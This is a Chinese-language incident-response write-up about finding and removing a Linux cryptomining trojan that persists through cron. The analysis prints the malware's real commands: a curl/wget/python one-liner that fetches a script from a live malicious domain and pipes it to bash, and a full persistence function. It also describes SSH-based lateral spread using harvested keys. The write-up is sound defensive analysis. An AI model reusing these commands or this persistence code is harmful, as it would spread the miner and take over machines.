1. 程式人生 > 其它 >記一次與挖礦木馬的較量---linux下的挖礦

記一次與挖礦木馬的較量---linux下的挖礦

記一次與挖礦木馬的較量 聚銘網路  2022-02-22 10:51:18 78105 1

一、概述

本文主要是記錄了一次針對挖礦程式的應急響應處理,從三個部分來解讀此次事件:

1、事件描述部分,確認是否有挖礦程式。

2、現場分析部分,講了是如何一步一步殺掉挖礦程式。

3、程式分析部分,針對挖礦指令碼的詳細解讀。殺死競爭挖礦程式、程序守護、傳播挖礦。

二、疑惑的使用者

前幾天接到客戶反映,他們有一臺伺服器資產存在異常現象,原本配置的crontab定時任務全被修改,使用者重新對crontab進行配置,無法起到效果,瞬間就會被自動清空掉。定時任務的異常行為導致原本很多的正常業務無法正常執行,同時還發現存在可疑程序,希望能協助進行問題分析,並儘快進行處置。

三、受打擊的研究員

研究人員首先分析crontab的問題,使用crontab -l檢視定時任務,發現只存在一個可疑的任務程序,如下圖所示。

圖1 定時命令1

從命令看起來是為了獲取http://a.oracleservice.top地址的一

圖2 聚銘情報雲查結構

與客戶確認該定時任務是可疑的之後,又用top查看了系統資源,發現了一個程式名稱為“dbused”的可疑程序,長時間的cpu資源佔用達到了100以上。

利用可疑的程序PID,從/proc/[PID]目錄下的’exe’檔案定位到原始檔來自於/tmp目錄下的dbused。

將可疑檔案扔到VT進行檢測,發現極可能與“CoinMiner”挖礦木馬相關。

圖3 VT檢測結果

看來這次攻擊八九不離十就是挖礦木馬相關的攻擊了,定時程式應該就是用來下載挖礦程式的,只要先把定時程式刪除,再刪除惡意程式就行了,於是一一刪除之,應該就可以交代了。

想法很美好,現實卻很殘忍。幾秒後,發現惡意程序和定時任務全部恢復了,一朝回到解放前,看來是把問題想得太簡單了。

四、研究員的反擊

研究員開始痛定思痛,其實在第一次分析的時候還忽略了幾個關鍵的線索:

  • 使用者反映crontab會被自動重新整理(說明存在維持程序)

  • 未檢視系統可疑程序

  • 未分析下載的內容

於是乎,ps -ef檢視系統程序,發現存在五個以上的惡意下載程序,和之前發現的定時任務一模一樣,確實存在多個維持程序。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

圖4 檢視程序

突破口都指向下載的可疑檔案,下載進行分析,分析發現是一個結合資源準備、同類競爭、程序維持、橫向擴散、痕跡清除的指令碼。

圖5 下載可疑檔案

Step1:最大化這個程序的使用資源

圖6 準備工作

1.指令碼先將系統的selinux防火牆設定為關閉。

2.指令碼將使用者最大可用的程序數調整到5萬,便於最大化佔用主機資源。

3.修改記憶體引數,目的也是最大化佔用主機資源。

Step2:刪除競爭程序

圖7 殺死競爭程序

這裡目的是為了關閉一些程序,這裡的關閉程序的行為,目的是為了殺掉其他的一些挖礦程序,只允許自己的程式挖礦。

檢視列出殺死的連線IP情報,基本都是與挖礦或木馬相關。

圖8 競爭程序的連線IP1

圖9 競爭程序的連線IP2

圖10 競爭程序的連線IP3

Step3:刪除檔案的特殊屬性使得檔案可以被修改操作

圖11 chattr修改檔案屬性

chattr命令mod解釋

i:即Immutable,系統不允許對這個檔案進行任何的修改。如果目錄具有這個屬性,那麼任何的程序只能修改目錄之下的檔案,不允許建立和刪除檔案。

a:即Append Only,系統只允許在這個檔案之後追加資料,不允許任何程序覆蓋或截斷這個檔案。如果目錄具有這個屬性,系統將只允許在這個目錄下建立和修改檔案,而不允許刪除任何檔案。

最後將定時任務,進行了類似鎖定操作。

Step4:確保連通性

先解除/tmp/dbused目錄下面的鎖定。

確定本機ip地址的範圍(16位掩碼)。

確保主機能與惡意負載域名pool.supportxmr.com、a.oracleservice.top連通。

圖12 確保連通性

Step5:建立定時任務

圖13 建立定時任務

一共建立了5個cron維持程序。

  • /etc/cron.d/root

  • /etc/cron.d/apache

  • /etc/cron.d/nginx

  • /var/spool/cron/crontabs

  • /etc/cron.hourly/oanacroner1

圖14 /etc/cron.d下的定時任務

圖15 防止檔案被修改

Step6:維持程序1

即確保dbused這個檔案能正常執行。寫了幾個備用的函式,judge函式就是,如果dbused檔案正常運行了,那麼就會存在三個連線,如果沒有正常執行,那麼就重新執行一下dbused檔案。

圖16 judge函式

圖17  judge函式2

Step7:維持程序2

cronbackup()函式為了確保定時任務的正常執行,一旦其中一個定時任務被刪除,就會執行另一個定時任務。

cronbackup() {

pay="(curl -fsSL $url/xms||wget -q -O-   $url/xms||python -c 'import urllib2 as fbi;print   fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms   $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

status=0

crona=$(systemctl is-active cron)

cronb=$(systemctl is-active crond)

cronatd=$(systemctl is-active atd)

if [ "$crona" ==   "active" ] ; then

echo "cron okay"

elif [ "$cronb" ==   "active" ]; then

echo "cron okay"

elif [ "$cronatd" ==   "active" ] ; then

status=1

else

status=2

fi

if [ $status -eq 1 ] ; then

for a in $(at -l|awk '{print $1}'); do at -r   $a; done

echo "$pay" | at -m now + 1 minute

fi

if [ $status -eq 2 ] || [ "$me" !=   "root" ] ;then

arr[0]="/dev/shm"

arr[1]="/tmp"

arr[2]="/var/tmp"

arr[3]="/home/$(whoami)"

arr[4]="/run/user/$(echo $UID)"

arr[5]="/run/user/$(echo   $UID)/systemd"

rand=$[$RANDOM % ${#arr[@]}]

echo "Setting up custom backup"

ps auxf|grep -v grep|grep "cruner"   | awk '{print $2}'|xargs kill -9

key="while true; do sleep 60 &&   $pay; done"

echo -e "$key\n##" >   ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner

nohup ${arr[$rand]}/cruner >/dev/null   2>&1 &

sleep 15

rm -rf ${arr[$rand]}/cruner

fi

}

Step8:橫向傳播

從系統檔案中獲取ssh連線過的IP地址和連線的金鑰,再通過遍歷嘗試ssh連線到別的主機並執行惡意命令。也就是說主機登入過其他主機的話,那麼其他主機也會被注入,細思極恐。

ssh連線用到的幾個配置

  • -oStrictHostKeyChecking=no (關閉SSH公鑰檢查,這是ssh一個重要的安全機制,可以防範中間人劫持等黑客攻擊。)

  • -oBatchMode=yes(當 key 認證不成功時,不彈出告警防止自動化中斷)

  • -oConnectTimeout=5(超時限制)

  • -i(使用金鑰檔案登入)

圖18 橫向傳播

圖19 被獲取的部分金鑰檔案

圖20 可能被感染的其它主機

Step9:痕跡清除

對執行過程中遺留的檔案進行清除,減小被發現的風險。

圖21 清除痕跡

瞭解清楚這個惡意指令碼後,便開始對該惡意程式進行處置:

1.  先‘service crond status’關閉cron服務。

2.  對所有cron定時檔案進行清除。

3.  殺死所有惡意程序。

4.  刪除所有下載的相關惡意檔案。

5.  啟動selinux。

6.  修改本機和可能被感染主機的ssh密碼。

7.  對可能感染的主機進行檢查。

採取了以上的操作之後,挖礦程式終於不再“復活”了,crontab也恢復正常使用。

參考文章:

《linux檔案特殊屬性 lsattr,chattr詳解》https://blog.csdn.net/sugarCYF/article/details/108034987

《SSH互動式指令碼StrictHostKeyChecking選項》https://chuxing.blog.csdn.net/article/details/82425279